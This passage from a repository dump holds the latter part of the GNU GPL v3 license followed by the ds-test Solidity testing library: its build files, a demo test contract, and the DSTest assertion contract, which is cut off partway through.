technological measures.
4. Conveying Verbatim Copies.
You may convey verbatim copies of the Program's source code as you
receive it, in any medium, provided that you conspicuously and
appropriately publish on each copy an appropriate copyright notice;
keep intact all notices stating that this License and any
non-permissive terms added in accord with section 7 apply to the code;
keep intact all notices of the absence of any warranty; and give all
recipients a copy of this License along with the Program.
You may charge any price or no price for each copy that you convey,
and you may offer support or warranty protection for a fee.
5. Conveying Modified Source Versions.
You may convey a work based on the Program, or the modifications to
produce it from the Program, in the form of source code under the
terms of section 4, provided that you also meet all of these conditions:
a) The work must carry prominent notices stating that you modified
it, and giving a relevant date.
b) The work must carry prominent notices stating that it is
released under this License and any conditions added under section
7. This requirement modifies the requirement in section 4 to
"keep intact all notices".
c) You must license the entire work, as a whole, under this
License to anyone who comes into possession of a copy. This
License will therefore apply, along with any applicable section 7
additional terms, to the whole of the work, and all its parts,
regardless of how they are packaged. This License gives no
permission to license the work in any other way, but it does not
invalidate such permission if you have separately received it.
d) If the work has interactive user interfaces, each must display
Appropriate Legal Notices; however, if the Program has interactive
interfaces that do not display Appropriate Legal Notices, your
work need not make them do so.
A compilation of a covered work with other separate and independent
works, which are not by their nature extensions of the covered work,
and which are not combined with it such as to form a larger program,
in or on a volume of a storage or distribution medium, is called an
"aggregate" if the compilation and its resulting copyright are not
used to limit the access or legal rights of the compilation's users
beyond what the individual works permit. Inclusion of a covered work
in an aggregate does not cause this License to apply to the other
parts of the aggregate.
6. Conveying Non-Source Forms.
You may convey a covered work in object code form under the terms
of sections 4 and 5, provided that you also convey the
machine-readable Corresponding Source under the terms of this License,
in one of these ways:
a) Convey the object code in, or embodied in, a physical product
(including a physical distribution medium), accompanied by the
Corresponding Source fixed on a durable physical medium
customarily used for software interchange.
b) Convey the object code in, or embodied in, a physical product
(including a physical distribution medium), accompanied by a
written offer, valid for at least three years and valid for as
long as you offer spare parts or customer support for that product
model, to give anyone who possesses the object code either (1) a
copy of the Corresponding Source for all the software in the
product that is covered by this License, on a durable physical
medium customarily used for software interchange, for a price no
more than your reasonable cost of physically performing this
conveying of source, or (2) access to copy the
Corresponding Source from a network server at no charge.
c) Convey individual copies of the object code with a copy of the
written offer to provide the Corresponding Source. This
alternative is allowed only occasionally and noncommercially, and
only if you received the object code with such an offer, in accord
with subsection 6b.
d) Convey the object code by offering access from a designated
place (gratis or for a charge), and offer equivalent access to the
Corresponding Source in the same way through the same place at no
further charge. You need not require recipients to copy the
Corresponding Source along with the object code. If the place to
copy the object code is a network server, the Corresponding Source
may be on a different server (operated by you or a third party)
that supports equivalent copying facilities, provided you maintain
clear directions next to the object code saying where to find the
Corresponding Source. Regardless of what server hosts the
Corresponding Source, you remain obligated to ensure that it is
available for as long as needed to satisfy these requirements.
e) Convey the object code using peer-to-peer transmission, provided
you inform other peers where the object code and Corresponding
Source of the work are being offered to the general public at no
charge under subsection 6d.
A separable portion of the object code, whose source code is excluded
from the Corresponding Source as a System Library, need not be
included in conveying the object code work.
A "User Product" is either (1) a "consumer product", which means any
tangible personal property which is normally used for personal, family,
or household purposes, or (2) anything designed or sold for incorporation
into a dwelling. In determining whether a product is a consumer product,
doubtful cases shall be resolved in favor of coverage. For a particular
product received by a particular user, "normally used" refers to a
typical or common use of that class of product, regardless of the status
of the particular user or of the way in which the particular user
actually uses, or expects or is expected to use, the product. A product
is a consumer product regardless of whether the product has substantial
commercial, industrial or non-consumer uses, unless such uses represent
the only significant mode of use of the product.
"Installation Information" for a User Product means any methods,
procedures, authorization keys, or other information required to install
and execute modified versions of a covered work in that User Product from
a modified version of its Corresponding Source. The information must
suffice to ensure that the continued functioning of the modified object
code is in no case prevented or interfered with solely because
modification has been made.
If you convey an object code work under this section in, or with, or
specifically for use in, a User Product, and the conveying occurs as
part of a transaction in which the right of possession and use of the
User Product is transferred to the recipient in perpetuity or for a
fixed term (regardless of how the transaction is characterized), the
Corresponding Source conveyed under this section must be accompanied
by the Installation Information. But this requirement does not apply
if neither you nor any third party retains the ability to install
modified object code on the User Product (for example, the work has
been installed in ROM).
The requirement to provide Installation Information does not include a
requirement to continue to provide support service, warranty, or updates
for a work that has been modified or installed by the recipient, or for
the User Product in which it has been modified or installed. Access to a
network may be denied when the modification itself materially and
adversely affects the operation of the network or violates the rules and
protocols for communication across the network.
Corresponding Source conveyed, and Installation Information provided,
in accord with this section must be in a format that is publicly
documented (and with an implementation available to the public in
source code form), and must require no special password or key for
unpacking, reading or copying.
7. Additional Terms.
"Additional permissions" are terms that supplement the terms of this
License by making exceptions from one or more of its conditions.
Additional permissions that are applicable to the entire Program shall
be treated as though they were included in this License, to the extent
that they are valid under applicable law. If additional permissions
apply only to part of the Program, that part may be used separately
under those permissions, but the entire Program remains governed by
this License without regard to the additional permissions.
When you convey a copy of a covered work, you may at your option
remove any additional permissions from that copy, or from any part of
it. (Additional permissions may be written to require their own
removal in certain cases when you modify the work.) You may place
additional permissions on material, added by you to a covered work,
for which you have or can give appropriate copyright permission.
Notwithstanding any other provision of this License, for material you
add to a covered work, you may (if authorized by the copyright holders of
that material) supplement the terms of this License with terms:
a) Disclaiming warranty or limiting liability differently from the
terms of sections 15 and 16 of this License; or
b) Requiring preservation of specified reasonable legal notices or
author attributions in that material or in the Appropriate Legal
Notices displayed by works containing it; or
c) Prohibiting misrepresentation of the origin of that material, or
requiring that modified versions of such material be marked in
reasonable ways as different from the original version; or
d) Limiting the use for publicity purposes of names of licensors or
authors of the material; or
e) Declining to grant rights under trademark law for use of some
trade names, trademarks, or service marks; or
f) Requiring indemnification of licensors and authors of that
material by anyone who conveys the material (or modified versions of
it) with contractual assumptions of liability to the recipient, for
any liability that these contractual assumptions directly impose on
those licensors and authors.
All other non-permissive additional terms are considered "further
restrictions" within the meaning of section 10. If the Program as you
received it, or any part of it, contains a notice stating that it is
governed by this License along with a term that is a further
restriction, you may remove that term. If a license document contains
a further restriction but permits relicensing or conveying under this
License, you may add to a covered work material governed by the terms
of that license document, provided that the further restriction does
not survive such relicensing or conveying.
If you add terms to a covered work in accord with this section, you
must place, in the relevant source files, a statement of the
additional terms that apply to those files, or a notice indicating
where to find the applicable terms.
Additional terms, permissive or non-permissive, may be stated in the
form of a separately written license, or stated as exceptions;
the above requirements apply either way.
8. Termination.
You may not propagate or modify a covered work except as expressly
provided under this License. Any attempt otherwise to propagate or
modify it is void, and will automatically terminate your rights under
this License (including any patent licenses granted under the third
paragraph of section 11).
However, if you cease all violation of this License, then your
license from a particular copyright holder is reinstated (a)
provisionally, unless and until the copyright holder explicitly and
finally terminates your license, and (b) permanently, if the copyright
holder fails to notify you of the violation by some reasonable means
prior to 60 days after the cessation.
Moreover, your license from a particular copyright holder is
reinstated permanently if the copyright holder notifies you of the
violation by some reasonable means, this is the first time you have
received notice of violation of this License (for any work) from that
copyright holder, and you cure the violation prior to 30 days after
your receipt of the notice.
Termination of your rights under this section does not terminate the
licenses of parties who have received copies or rights from you under
this License. If your rights have been terminated and not permanently
reinstated, you do not qualify to receive new licenses for the same
material under section 10.
9. Acceptance Not Required for Having Copies.
You are not required to accept this License in order to receive or
run a copy of the Program. Ancillary propagation of a covered work
occurring solely as a consequence of using peer-to-peer transmission
to receive a copy likewise does not require acceptance. However,
nothing other than this License grants you permission to propagate or
modify any covered work. These actions infringe copyright if you do
not accept this License. Therefore, by modifying or propagating a
covered work, you indicate your acceptance of this License to do so.
10. Automatic Licensing of Downstream Recipients.
Each time you convey a covered work, the recipient automatically
receives a license from the original licensors, to run, modify and
propagate that work, subject to this License. You are not responsible
for enforcing compliance by third parties with this License.
An "entity transaction" is a transaction transferring control of an
organization, or substantially all assets of one, or subdividing an
organization, or merging organizations. If propagation of a covered
work results from an entity transaction, each party to that
transaction who receives a copy of the work also receives whatever
licenses to the work the party's predecessor in interest had or could
give under the previous paragraph, plus a right to possession of the
Corresponding Source of the work from the predecessor in interest, if
the predecessor has it or can get it with reasonable efforts.
You may not impose any further restrictions on the exercise of the
rights granted or affirmed under this License. For example, you may
not impose a license fee, royalty, or other charge for exercise of
rights granted under this License, and you may not initiate litigation
(including a cross-claim or counterclaim in a lawsuit) alleging that
any patent claim is infringed by making, using, selling, offering for
sale, or importing the Program or any portion of it.
11. Patents.
A "contributor" is a copyright holder who authorizes use under this
License of the Program or a work on which the Program is based. The
work thus licensed is called the contributor's "contributor version".
A contributor's "essential patent claims" are all patent claims
owned or controlled by the contributor, whether already acquired or
hereafter acquired, that would be infringed by some manner, permitted
by this License, of making, using, or selling its contributor version,
but do not include claims that would be infringed only as a
consequence of further modification of the contributor version. For
purposes of this definition, "control" includes the right to grant
patent sublicenses in a manner consistent with the requirements of
this License.
Each contributor grants you a non-exclusive, worldwide, royalty-free
patent license under the contributor's essential patent claims, to
make, use, sell, offer for sale, import and otherwise run, modify and
propagate the contents of its contributor version.
In the following three paragraphs, a "patent license" is any express
agreement or commitment, however denominated, not to enforce a patent
(such as an express permission to practice a patent or covenant not to
sue for patent infringement). To "grant" such a patent license to a
party means to make such an agreement or commitment not to enforce a
patent against the party.
If you convey a covered work, knowingly relying on a patent license,
and the Corresponding Source of the work is not available for anyone
to copy, free of charge and under the terms of this License, through a
publicly available network server or other readily accessible means,
then you must either (1) cause the Corresponding Source to be so
available, or (2) arrange to deprive yourself of the benefit of the
patent license for this particular work, or (3) arrange, in a manner
consistent with the requirements of this License, to extend the patent
license to downstream recipients. "Knowingly relying" means you have
actual knowledge that, but for the patent license, your conveying the
covered work in a country, or your recipient's use of the covered work
in a country, would infringe one or more identifiable patents in that
country that you have reason to believe are valid.
If, pursuant to or in connection with a single transaction or
arrangement, you convey, or propagate by procuring conveyance of, a
covered work, and grant a patent license to some of the parties
receiving the covered work authorizing them to use, propagate, modify
or convey a specific copy of the covered work, then the patent license
you grant is automatically extended to all recipients of the covered
work and works based on it.
A patent license is "discriminatory" if it does not include within
the scope of its coverage, prohibits the exercise of, or is
conditioned on the non-exercise of one or more of the rights that are
specifically granted under this License. You may not convey a covered
work if you are a party to an arrangement with a third party that is
in the business of distributing software, under which you make payment
to the third party based on the extent of your activity of conveying
the work, and under which the third party grants, to any of the
parties who would receive the covered work from you, a discriminatory
patent license (a) in connection with copies of the covered work
conveyed by you (or copies made from those copies), or (b) primarily
for and in connection with specific products or compilations that
contain the covered work, unless you entered into that arrangement,
or that patent license was granted, prior to 28 March 2007.
Nothing in this License shall be construed as excluding or limiting
any implied license or other defenses to infringement that may
otherwise be available to you under applicable patent law.
12. No Surrender of Others' Freedom.
If conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License. If you cannot convey a
covered work so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you may
not convey it at all. For example, if you agree to terms that obligate you
to collect a royalty for further conveying from those to whom you convey
the Program, the only way you could satisfy both those terms and this
License would be to refrain entirely from conveying the Program.
13. Use with the GNU Affero General Public License.
Notwithstanding any other provision of this License, you have
permission to link or combine any covered work with a work licensed
under version 3 of the GNU Affero General Public License into a single
combined work, and to convey the resulting work. The terms of this
License will continue to apply to the part which is the covered work,
but the special requirements of the GNU Affero General Public License,
section 13, concerning interaction through a network will apply to the
combination as such.
14. Revised Versions of this License.
The Free Software Foundation may publish revised and/or new versions of
the GNU General Public License from time to time. Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.
Each version is given a distinguishing version number. If the
Program specifies that a certain numbered version of the GNU General
Public License "or any later version" applies to it, you have the
option of following the terms and conditions either of that numbered
version or of any later version published by the Free Software
Foundation. If the Program does not specify a version number of the
GNU General Public License, you may choose any version ever published
by the Free Software Foundation.
If the Program specifies that a proxy can decide which future
versions of the GNU General Public License can be used, that proxy's
public statement of acceptance of a version permanently authorizes you
to choose that version for the Program.
Later license versions may give you additional or different
permissions. However, no additional obligations are imposed on any
author or copyright holder as a result of your choosing to follow a
later version.
15. Disclaimer of Warranty.
THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
16. Limitation of Liability.
IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
SUCH DAMAGES.
17. Interpretation of Sections 15 and 16.
If the disclaimer of warranty and limitation of liability provided
above cannot be given local legal effect according to their terms,
reviewing courts shall apply local law that most closely approximates
an absolute waiver of all civil liability in connection with the
Program, unless a warranty or assumption of liability accompanies a
copy of the Program in return for a fee.
END OF TERMS AND CONDITIONS
How to Apply These Terms to Your New Programs
If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.
To do so, attach the following notices to the program. It is safest
to attach them to the start of each source file to most effectively
state the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is found.
Copyright (C)
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see .
Also add information on how to contact you by electronic and paper mail.
If the program does terminal interaction, make it output a short
notice like this when it starts in an interactive mode:
Copyright (C)
This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
This is free software, and you are welcome to redistribute it
under certain conditions; type `show c' for details.
The hypothetical commands `show w' and `show c' should show the appropriate
parts of the General Public License. Of course, your program's commands
might be different; for a GUI interface, you would use an "about box".
You should also get your employer (if you work as a programmer) or school,
if any, to sign a "copyright disclaimer" for the program, if necessary.
For more information on this, and how to apply and follow the GNU GPL, see
.
The GNU General Public License does not permit incorporating your program
into proprietary programs. If your program is a subroutine library, you
may consider it more useful to permit linking proprietary applications with
the library. If this is what you want to do, use the GNU Lesser General
Public License instead of this License. But first, please read
.
================================================
FILE: 2022/submissions_2022/submission13_TeamChainSecurity/lib/ds-test/Makefile
================================================
all:; dapp build
test:
-dapp --use solc:0.4.23 build
-dapp --use solc:0.4.26 build
-dapp --use solc:0.5.17 build
-dapp --use solc:0.6.12 build
-dapp --use solc:0.7.5 build
demo:
DAPP_SRC=demo dapp --use solc:0.7.5 build
-hevm dapp-test --verbose 3
.PHONY: test demo
================================================
FILE: 2022/submissions_2022/submission13_TeamChainSecurity/lib/ds-test/default.nix
================================================
{ solidityPackage, dappsys }: solidityPackage {
name = "ds-test";
src = ./src;
}
================================================
FILE: 2022/submissions_2022/submission13_TeamChainSecurity/lib/ds-test/demo/demo.sol
================================================
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity >=0.4.23;
import "../src/test.sol";
contract DemoTest is DSTest {
function test_this() public pure {
require(true);
}
function test_logs() public {
emit log("-- log(string)");
emit log("a string");
emit log("-- log_named_uint(string, uint)");
log_named_uint("uint", 512);
emit log("-- log_named_int(string, int)");
log_named_int("int", -512);
emit log("-- log_named_address(string, address)");
log_named_address("address", address(this));
emit log("-- log_named_bytes32(string, bytes32)");
log_named_bytes32("bytes32", "a string");
emit log("-- log_named_bytes(string, bytes)");
log_named_bytes("bytes", hex"cafefe");
emit log("-- log_named_string(string, string)");
log_named_string("string", "a string");
emit log("-- log_named_decimal_uint(string, uint, uint)");
log_named_decimal_uint("decimal uint", 1.0e18, 18);
emit log("-- log_named_decimal_int(string, int, uint)");
log_named_decimal_int("decimal int", -1.0e18, 18);
}
event log_old_named_uint(bytes32,uint);
function test_old_logs() public {
log_old_named_uint("key", 500);
log_named_bytes32("bkey", "val");
}
function test_trace() public view {
this.echo("string 1", "string 2");
}
function test_multiline() public {
emit log("a multiline\\n" "string");
emit log("a multiline " "string");
log_bytes("a string");
log_bytes("a multiline\n" "string");
log_bytes("a multiline\\n" "string");
emit log(unicode"Ώ");
logs(hex"0000");
log_named_bytes("0x0000", hex"0000");
logs(hex"ff");
}
function echo(string memory s1, string memory s2) public pure
returns (string memory, string memory)
{
return (s1, s2);
}
function prove_this(uint x) public {
log_named_uint("sym x", x);
assertGt(x + 1, 0);
}
function test_logn() public {
assembly {
log0(0x01, 0x02)
log1(0x01, 0x02, 0x03)
log2(0x01, 0x02, 0x03, 0x04)
log3(0x01, 0x02, 0x03, 0x04, 0x05)
}
}
event MyEvent(uint, uint indexed, uint, uint indexed);
function test_events() public {
emit MyEvent(1, 2, 3, 4);
}
function test_asserts() public {
string memory err = "this test has failed!";
emit log("## assertTrue(bool)\n");
assertTrue(false);
emit log("\n");
assertTrue(false, err);
emit log("\n## assertEq(address,address)\n");
assertEq(address(this), msg.sender);
emit log("\n");
assertEq(address(this), msg.sender, err);
emit log("\n## assertEq32(bytes32,bytes32)\n");
assertEq32("bytes 1", "bytes 2");
emit log("\n");
assertEq32("bytes 1", "bytes 2", err);
emit log("\n## assertEq(bytes32,bytes32)\n");
assertEq32("bytes 1", "bytes 2");
emit log("\n");
assertEq32("bytes 1", "bytes 2", err);
emit log("\n## assertEq(uint,uint)\n");
assertEq(uint(0), 1);
emit log("\n");
assertEq(uint(0), 1, err);
emit log("\n## assertEq(int,int)\n");
assertEq(-1, -2);
emit log("\n");
assertEq(-1, -2, err);
emit log("\n## assertEqDecimal(int,int,uint)\n");
assertEqDecimal(-1.0e18, -1.1e18, 18);
emit log("\n");
assertEqDecimal(-1.0e18, -1.1e18, 18, err);
emit log("\n## assertEqDecimal(uint,uint,uint)\n");
assertEqDecimal(uint(1.0e18), 1.1e18, 18);
emit log("\n");
assertEqDecimal(uint(1.0e18), 1.1e18, 18, err);
emit log("\n## assertGt(uint,uint)\n");
assertGt(uint(0), 0);
emit log("\n");
assertGt(uint(0), 0, err);
emit log("\n## assertGt(int,int)\n");
assertGt(-1, -1);
emit log("\n");
assertGt(-1, -1, err);
emit log("\n## assertGtDecimal(int,int,uint)\n");
assertGtDecimal(-2.0e18, -1.1e18, 18);
emit log("\n");
assertGtDecimal(-2.0e18, -1.1e18, 18, err);
emit log("\n## assertGtDecimal(uint,uint,uint)\n");
assertGtDecimal(uint(1.0e18), 1.1e18, 18);
emit log("\n");
assertGtDecimal(uint(1.0e18), 1.1e18, 18, err);
emit log("\n## assertGe(uint,uint)\n");
assertGe(uint(0), 1);
emit log("\n");
assertGe(uint(0), 1, err);
emit log("\n## assertGe(int,int)\n");
assertGe(-1, 0);
emit log("\n");
assertGe(-1, 0, err);
emit log("\n## assertGeDecimal(int,int,uint)\n");
assertGeDecimal(-2.0e18, -1.1e18, 18);
emit log("\n");
assertGeDecimal(-2.0e18, -1.1e18, 18, err);
emit log("\n## assertGeDecimal(uint,uint,uint)\n");
assertGeDecimal(uint(1.0e18), 1.1e18, 18);
emit log("\n");
assertGeDecimal(uint(1.0e18), 1.1e18, 18, err);
emit log("\n## assertLt(uint,uint)\n");
assertLt(uint(0), 0);
emit log("\n");
assertLt(uint(0), 0, err);
emit log("\n## assertLt(int,int)\n");
assertLt(-1, -1);
emit log("\n");
assertLt(-1, -1, err);
emit log("\n## assertLtDecimal(int,int,uint)\n");
assertLtDecimal(-1.0e18, -1.1e18, 18);
emit log("\n");
assertLtDecimal(-1.0e18, -1.1e18, 18, err);
emit log("\n## assertLtDecimal(uint,uint,uint)\n");
assertLtDecimal(uint(2.0e18), 1.1e18, 18);
emit log("\n");
assertLtDecimal(uint(2.0e18), 1.1e18, 18, err);
emit log("\n## assertLe(uint,uint)\n");
assertLe(uint(1), 0);
emit log("\n");
assertLe(uint(1), 0, err);
emit log("\n## assertLe(int,int)\n");
assertLe(0, -1);
emit log("\n");
assertLe(0, -1, err);
emit log("\n## assertLeDecimal(int,int,uint)\n");
assertLeDecimal(-1.0e18, -1.1e18, 18);
emit log("\n");
assertLeDecimal(-1.0e18, -1.1e18, 18, err);
emit log("\n## assertLeDecimal(uint,uint,uint)\n");
assertLeDecimal(uint(2.0e18), 1.1e18, 18);
emit log("\n");
assertLeDecimal(uint(2.0e18), 1.1e18, 18, err);
emit log("\n## assertEq(string,string)\n");
string memory s1 = "string 1";
string memory s2 = "string 2";
assertEq(s1, s2);
emit log("\n");
assertEq(s1, s2, err);
emit log("\n## assertEq0(bytes,bytes)\n");
assertEq0(hex"abcdef01", hex"abcdef02");
log("\n");
assertEq0(hex"abcdef01", hex"abcdef02", err);
}
}
contract DemoTestWithSetUp {
function setUp() public {
}
function test_pass() public pure {
}
}
================================================
FILE: 2022/submissions_2022/submission13_TeamChainSecurity/lib/ds-test/src/test.sol
================================================
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see .
pragma solidity >=0.4.23;
contract DSTest {
event log (string);
event logs (bytes);
event log_address (address);
event log_bytes32 (bytes32);
event log_int (int);
event log_uint (uint);
event log_bytes (bytes);
event log_string (string);
event log_named_address (string key, address val);
event log_named_bytes32 (string key, bytes32 val);
event log_named_decimal_int (string key, int val, uint decimals);
event log_named_decimal_uint (string key, uint val, uint decimals);
event log_named_int (string key, int val);
event log_named_uint (string key, uint val);
event log_named_bytes (string key, bytes val);
event log_named_string (string key, string val);
bool public IS_TEST = true;
bool public failed;
address constant HEVM_ADDRESS =
address(bytes20(uint160(uint256(keccak256('hevm cheat code')))));
modifier mayRevert() { _; }
modifier testopts(string memory) { _; }
function fail() internal {
failed = true;
}
modifier logs_gas() {
uint startGas = gasleft();
_;
uint endGas = gasleft();
emit log_named_uint("gas", startGas - endGas);
}
function assertTrue(bool condition) internal {
if (!condition) {
emit log("Error: Assertion Failed");
fail();
}
}
function assertTrue(bool condition, string memory err) internal {
if (!condition) {
emit log_named_string("Error", err);
assertTrue(condition);
}
}
function assertEq(address a, address b) internal {
if (a != b) {
emit log("Error: a == b not satisfied [address]");
emit log_named_address(" Expected", b);
emit log_named_address(" Actual", a);
fail();
}
}
function assertEq(address a, address b, string memory err) internal {
if (a != b) {
emit log_named_string ("Error", err);
assertEq(a, b);
}
}
function assertEq(bytes32 a, bytes32 b) internal {
if (a != b) {
emit log("Error: a == b not satisfied [bytes32]");
emit log_named_bytes32(" Expected", b);
emit log_named_bytes32(" Actual", a);
fail();
}
}
function assertEq(bytes32 a, bytes32 b, string memory err) internal {
if (a != b) {
emit log_named_string ("Error", err);
assertEq(a, b);
}
}
function assertEq32(bytes32 a, bytes32 b) internal {
assertEq(a, b);
}
function assertEq32(bytes32 a, bytes32 b, string memory err) internal {
assertEq(a, b, err);
}
function assertEq(int a, int b) internal {
if (a != b) {
emit log("Error: a == b not satisfied [int]");
emit log_named_int(" Expected", b);
emit log_named_int(" Actual", a);
fail();
}
}
function assertEq(int a, int b, string memory err) internal {
if (a != b) {
emit log_named_string("Error", err);
assertEq(a, b);
}
}
function assertEq(uint a, uint b) internal {
if (a != b) {
emit log("Error: a == b not satisfied [uint]");
emit log_named_uint(" Expected", b);
emit log_named_uint(" Actual", a);
fail();
}
}
function assertEq(uint a, uint b, string memory err) internal {
if (a != b) {
emit log_named_string("Error", err);
assertEq(a, b);
}
}
function assertEqDecimal(int a, int b, uint decimals) internal {
if (a != b) {
emit log("Error: a == b not satisfied [decimal int]");
emit log_named_decimal_int(" Expected", b, decimals);
emit log_named_decimal_int(" Actual", a, decimals);
fail();
}
}
function assertEqDecimal(int a, int b, uint decimals, string memory err) internal {
if (a != b) {
emit log_named_string("Error", err);
assertEqDecimal(a, b, decimals);
}
}
function assertEqDecimal(uint a, uint b, uint decimals) internal {
if (a != b) {
emit log("Error: a == b not satisfied [decimal uint]");
emit log_named_decimal_uint(" Expected", b, decimals);
emit log_named_decimal_uint(" Actual", a, decimals);
fail();
}
}
function assertEqDecimal(uint a, uint b, uint decimals, string memory err) internal {
if (a != b) {
emit log_named_string("Error", err);
assertEqDecimal(a, b, decimals);
}
}
function assertGt(uint a, uint b) internal {
if (a <= b) {
emit log("Error: a > b not satisfied [uint]");
emit log_named_uint(" Value a", a);
emit log_named_uint(" Value b", b);
fail();
}
}
function assertGt(uint a, uint b, string memory err) internal {
if (a <= b) {
emit log_named_string("Error", err);
assertGt(a, b);
}
}
function assertGt(int a, int b) internal {
if (a <= b) {
emit log("Error: a > b not satisfied [int]");
emit log_named_int(" Value a", a);
emit log_named_int(" Value b", b);
fail();
}
}
function assertGt(int a, int b, string memory err) internal {
if (a <= b) {
emit log_named_string("Error", err);
assertGt(a, b);
}
}
function assertGtDecimal(int a, int b, uint decimals) internal {
if (a <= b) {
emit log("Error: a > b not satisfied [decimal int]");
emit log_named_decimal_int(" Value a", a, decimals);
emit log_named_decimal_int(" Value b", b, decimals);
fail();
}
}
function assertGtDecimal(int a, int b, uint decimals, string memory err) internal {
if (a <= b) {
emit log_named_string("Error", err);
assertGtDecimal(a, b, decimals);
}
}
function assertGtDecimal(uint a, uint b, uint decimals) internal {
if (a <= b) {
emit log("Error: a > b not satisfied [decimal uint]");
emit log_named_decimal_uint(" Value a", a, decimals);
emit log_named_decimal_uint(" Value b", b, decimals);
fail();
}
}
function assertGtDecimal(uint a, uint b, uint decimals, string memory err) internal {
if (a <= b) {
emit log_named_string("Error", err);
assertGtDecimal(a, b, decimals);
}
}
function assertGe(uint a, uint b) internal {
if (a < b) {
emit log("Error: a >= b not satisfied [uint]");
emit log_named_uint(" Value a", a);
emit log_named_uint(" Value b", b);
fail();
}
}
function assertGe(uint a, uint b, string memory err) internal {
if (a < b) {
emit log_named_string("Error", err);
assertGe(a, b);
}
}
function assertGe(int a, int b) internal {
if (a < b) {
emit log("Error: a >= b not satisfied [int]");
emit log_named_int(" Value a", a);
emit log_named_int(" Value b", b);
fail();
}
}
function assertGe(int a, int b, string memory err) internal {
if (a < b) {
emit log_named_string("Error", err);
assertGe(a, b);
}
}
function assertGeDecimal(int a, int b, uint decimals) internal {
if (a < b) {
emit log("Error: a >= b not satisfied [decimal int]");
emit log_named_decimal_int(" Value a", a, decimals);
emit log_named_decimal_int(" Value b", b, decimals);
fail();
}
}
function assertGeDecimal(int a, int b, uint decimals, string memory err) internal {
if (a < b) {
emit log_named_string("Error", err);
assertGeDecimal(a, b, decimals);
}
}
function assertGeDecimal(uint a, uint b, uint decimals) internal {
if (a < b) {
emit log("Error: a >= b not satisfied [decimal uint]");
emit log_named_decimal_uint(" Value a", a, decimals);
emit log_named_decimal_uint(" Value b", b, decimals);
fail();
}
}
function assertGeDecimal(uint a, uint b, uint decimals, string memory err) internal {
if (a < b) {
emit log_named_string("Error", err);
assertGeDecimal(a, b, decimals);
}
}
function assertLt(uint a, uint b) internal {
if (a >= b) {
emit log("Error: a < b not satisfied [uint]");
emit log_named_uint(" Value a", a);
emit log_named_uint(" Value b", b);
fail();
}
}
function assertLt(uint a, uint b, string memory err) internal {
if (a >= b) {
emit log_named_string("Error", err);
assertLt(a, b);
}
}
function assertLt(int a, int b) internal {
if (a >= b) {
emit log("Error: a < b not satisfied [int]");
emit log_named_int(" Value a", a);
emit log_named_int(" Value b", b);
fail();
}
}
function assertLt(int a, int b, string memory err) internal {
if (a >= b) {
emit log_named_string("Error", err);
assertLt(a, b);
}
}
function assertLtDecimal(int a, int b, uint decimals) internal {
if (a >= b) {
emit log("Error: a < b not satisfied [decimal int]");
emit log_named_decimal_int(" Value a", a, decimals);
emit log_named_decimal_int(" Value b", b, decimals);
fail();
}
}
function assertLtDecimal(int a, int b, uint decimals, string memory err) internal {
if (a >= b) {
emit log_named_string("Error", err);
assertLtDecimal(a, b, decimals);
}
}
function assertLtDecimal(uint a, uint b, uint decimals) internal {
if (a >= b) {
emit log("Error: a < b not satisfied [decimal uint]");
emit log_named_decimal_uint(" Value a", a, decimals);
emit log_named_decimal_uint(" Value b", b, decimals);
fail();
}
}
function assertLtDecimal(uint a, uint b, uint decimals, string memory err) internal {
if (a >= b) {
emit log_named_string("Error", err);
assertLtDecimal(a, b, decimals);
}
}
function assertLe(uint a, uint b) internal {
if (a > b) {
emit log("Error: a <= b not satisfied [uint]");
emit log_named_uint(" Value a", a);
emit log_named_uint(" Value b", b);
fail();
}
}
function assertLe(uint a, uint b, string memory err) internal {
if (a > b) {
emit log_named_string("Error", err);
assertLe(a, b);
}
}
function assertLe(int a, int b) internal {
if (a > b) {
emit log("Error: a <= b not satisfied [int]");
